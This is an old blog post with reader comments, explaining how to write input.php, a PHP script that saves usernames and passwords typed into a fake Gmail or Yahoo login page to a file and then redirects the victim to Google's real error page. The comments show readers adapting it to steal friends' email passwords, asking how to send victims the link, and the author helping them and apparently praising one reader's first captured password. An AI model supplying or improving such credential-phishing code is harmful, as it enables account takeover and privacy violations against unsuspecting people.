Here is the much awaited post “How to create input.php” . Sorry for posting it a bit late I was busy with my acads
First let’s look at the code for a simple HTML form
1)<form action=”input.php” method=post>
2)User name :<input type=text name=”username” size=40>
3)<br>
4)Password :<input type=password name=”passwd” size=40>
5)<input type=submit name=submit value=”signin!”>
6)</form>
action=”input.php” tell’s the browser to submit the information input.php . In lines 2 and 4 line we have “type=text” and “type=password” this tell the browser the input type. name=”username” and name=”passwd” save the user name and password in variables named $_psot[username] and $_post[passwd]. Line 5 displays a submit button when the user presses this button the form is submitted. (Note: I used the numbers just to explain the code )
PHP code with explanation:
//Every php program starts with this tag
<?php
/*Opens passwd.htm for appending, if it is not present it creates one*/
$fp = fopen(”passwd.htm”, “a”);
/* Writes user name and password stored in $_POST[username] and Password:$_POST[passwd] in passwd.htm
“\t” is just to insert some space between user name and password*/
fwrite($fp, “Username:$_POST[username]\tPassword:$_POST[passwd]“);
/*This part of the code creates a HTML page which redirects the user to the original error page of gmail
The one you would get if you enter a wrong password */
echo “<HTML>
<head>
<title>Welcome to Gmail</title>
<FRAMESET cols=\”*\”>
<FRAME src=\”https://www.google.com/accounts/ServiceLoginAuth\”>
</FRAMESET>”;
?> //php closing tag
To create your own input.php …
Look for the code of the from in the fake page you created and name the variables accordingly in input.php and you are done with input.php
For further reading on html and php
W3SCHOOLS
NOTE: php variables are case sensitive, if you are trying to run input.php directly on your comp without installing a web server supported with php it will not work
Gud Luck

















April 3rd, 2007 at 3:17 pm
gr8 man.I was tryng to make tht 1 of yahoo.But unable to do so.Plz help me in tht.
April 3rd, 2007 at 4:00 pm
hi, I am the first person to check this post. It is really helpful.
Now can you please tell me how to attach the link to send it to someone’s account to get their password back to me.
thanks
April 3rd, 2007 at 4:02 pm
i hv prob man.I created my fake page of yahoo.Whn i clicked on the sign in button it opens a blank page with my site name/input.php in the address bar.It did not redirect me to the link vich i gave in the input.php.Plz help me and passwd.htm is also not made.Plz help me.
Iam providing the code of input.php vich i used.
Welcome to Yahoo!Mail - The best web-based email!
“;?>
April 3rd, 2007 at 4:04 pm
heres the code
Welcome to Yahoo!Mail - The best web-based email!
“;?>
April 3rd, 2007 at 8:04 pm
cud u upload input.php & and can u upload da yahoo page
April 3rd, 2007 at 8:26 pm
ya ihv uploded both.And they r wrkng fine.Prob solvd.Thnx
My page is http://www.pallav.free-site-host.com./yahoo/yahoomail.htm
April 4th, 2007 at 11:31 pm
hey vro u seriously rock but i have 1 query how to use it.. i mean if u cud just guide me the thing out of input.php thing were to put wat..and is there anything for hotmail..bye thanks cheers keep it up
April 5th, 2007 at 9:54 pm
i don kno wer to upload the fake login page can u pls explain…. n also pls tell wer v get d response file that containing tat username n passwd
April 5th, 2007 at 10:50 pm
@Pallav
.please don’t open the personal mails of others it will spoil your relationship with them
gud work dude I’m that you got it right. Looks like you got you first passwd to
@q8hr
I uploaded the fake logion page for yahoo check my new post
“Fake login page’s of Yahoo and Gmail ”
@sha
I’m little busy these days i will tell you how to upload files very soon
Thanq all for your support
April 6th, 2007 at 8:00 am
i hav few questions to ask u
1)d input.php file u made as an example is for gmail, i guess….can u make it for yahoo……..and send it to me…..
2)what r d files i should upload? is it d combination of “files”folder, “source code” and d “login page”
3)should i upload these files only after i zip them
4)how do i send d link of d fake page to my friend….i surely cant send him as an email attachment……pls tell me how i should send him that link, so that he would login without a doubt
sorry for asking u all basics ……..im just a beginner
April 7th, 2007 at 5:01 pm
pallav in which site u had uploaded can u pls tell me tat
April 7th, 2007 at 5:13 pm
@atur
no problem dude ur always welcome
the one for yahoo is in the download link
u should upload the files and the source code,u should not upload the zipped file. you should some how get them to the fake login page
April 8th, 2007 at 4:26 pm
Hello,i want to know how to spam
April 11th, 2007 at 2:09 pm
guyz ill upload ur files just chat wid me on mehdi_mostwanted@yahoo.com
April 13th, 2007 at 1:32 pm
dude u r doin a gr8 job nd u simply rock ………but im not clear wid this input.php method cn u plz explain it in deep ………………the codes u have shown above …………where will i find this code nd where to use this code plz help me out???
April 13th, 2007 at 5:16 pm
@himanshu
please read all the posts in the blog once once again. Even then if you are unable to explain i will try to find a better way to explain u.
April 13th, 2007 at 8:15 pm
hey could plz explain how do i create the input.php file in detail and how would i get the id and password file..do i have to create them seperately..i’ve already created and uploaded the fake login pages
April 13th, 2007 at 8:50 pm
i wrote the following code in notepad and saved it as input.php in the directory where i uploaded the fake yahoo login page..but when u type in ids and password nothin happens..could u plz tell me where i’m going wrong..i’ve changed the action to input.php in the login page source
//Every php program starts with this tag
Welcome to Gmail
”;
?> //php closing tag
i’ve been trying this for a long time now without any success…plz help
April 13th, 2007 at 8:51 pm
the code didnt come right
//Every php program starts with this tag
Welcome to Gmail
”;
?> //php closing tag
April 13th, 2007 at 8:52 pm
well i dont know why the code isnt being printed here..maybe its too large..anyway the code is same as u have explained in ur page
April 13th, 2007 at 10:58 pm
1)the input.php file u made as an example is for gmail….can u make it for yahoo……..and send it to me…..
2)do i need to istall php in my computer to run input.php
plz help waiting 4 ur reply
April 14th, 2007 at 12:56 am
@Sid
u need not create the passwd.htm it will be created automatically,but you should write the code for input.php and upload it. you shouldn’t have any problems if you followed what i told you and assigned the variables correctly. Re check if you have assigned the variables(name and email in the input form should match with the corresponding variables in input.php. $_POST[email] etc..) correctly or not .One more mistake that you might do is saving it as a text file so make sure you save it as a .php file. change save as type while saving the file to all files and name the file as input.php in case you are using windows.
NOTE: php variables are case sensitive, and if you are trying to run input.php directly on ur comp without installing a web server supported with php it will not work.I think this is the longest reply i ever gave .Hope this solves your problem.
gud luck
April 14th, 2007 at 1:01 am
@sourav
you can find the download link for the files related to yahoo in my posts so plz check that.Please search the blog before you ask any questions.
you need to install a web server and php on your comp to check whether the php file is working properly or not. I will tell you how to install a web serve in my next post.
gud luck
April 14th, 2007 at 5:34 am
thanks for the reply but it still doesnt help me..i saved the input file as input.php with the same code that u wrote in ur example..mayb i’ve not installed php server..i’m running windows
April 14th, 2007 at 8:37 am
@sid
it wont work if you don’t have a web server with php support installed on your comp ,The page should be called through a server opening the page directly from its location does not work
April 14th, 2007 at 1:05 pm
hi bro hope giving u a little more trouble , the input.php file u made as an example is for gmail….can u make it for yahoo……..and send email it to me….i hav gone through ur blog but could ot find the input.php for yahoo…….
so plz if u do it 4 me n send it to my email adress i would b very grateful to u………..bye n hav a nice day
July 14th, 2007 at 3:35 am
hey i want to create a fake login page .plz can you help me .please be keep in touch with me . my email id is saten6666@gmmail.com
December 4th, 2007 at 10:12 pm
hey dude what is this input.php..
explain it and please send this to my id sbarigali@gmail.com
January 11th, 2008 at 12:28 pm
I can’t understand about what this input.php is?
January 11th, 2008 at 2:28 pm
Hi pankaj
this post is a part of “hacking using fake login pages”. I removed those posts as its not good teach people how to hack email ids. This post explains how to save the data submitted in a fake login page. I dint delete this post as the same procedure is used to process the data submitted in any html form.
April 10th, 2008 at 8:24 am
Can you please elaborate on what you have written above, please….?
I’m not able to understand all this.
my id: tandelnivas@gmail.com
June 15th, 2008 at 10:28 am
Hello Bro ,, I Have an Error
Parse error: syntax error, unexpected ‘:’ in /www/110mb.com/m/a/n/g/l/i/a/n/manglian-khan/htdocs/input.php on line 11
i dont which : one is unexpected…
Help Me PLzzzz
July 27th, 2008 at 2:25 pm
whem i open it it says to download a input.php file. why?? isn’t it working
July 27th, 2008 at 5:51 pm
hey .. it was nice but it would be better if it would redirect directly to the home page of that particular site but not to the error page….what do u think about it? ill be waiting for ur reply…
August 8th, 2008 (4 weeks ago) at 12:22 pm
hi,,,how do i create the php file? ist that a kind of seperate file nneded to be created after the creation of fake loginb pages?
And how am i suppose to retrieve the infos that have been submitted on my fake login pages? plis reply to this,,,,,,,,,,,,,,
August 15th, 2008 (3 weeks ago) at 4:09 pm
hiii
i also tried to make thwe input.php page, plz tell me wether it will work if i host it on google server on googlepages ?? i mean if i upload both fake page n input.php page in addres as http://www.amitxxx.googlepages.com/input.php and http://www.amitxxx.googlepages.com/fakepage.html
n plz tell me where will i get the passwords stored??
thnx
August 17th, 2008 (3 weeks ago) at 1:10 pm
hey amit those dnt work on google pages… they only work on any hosts supporting php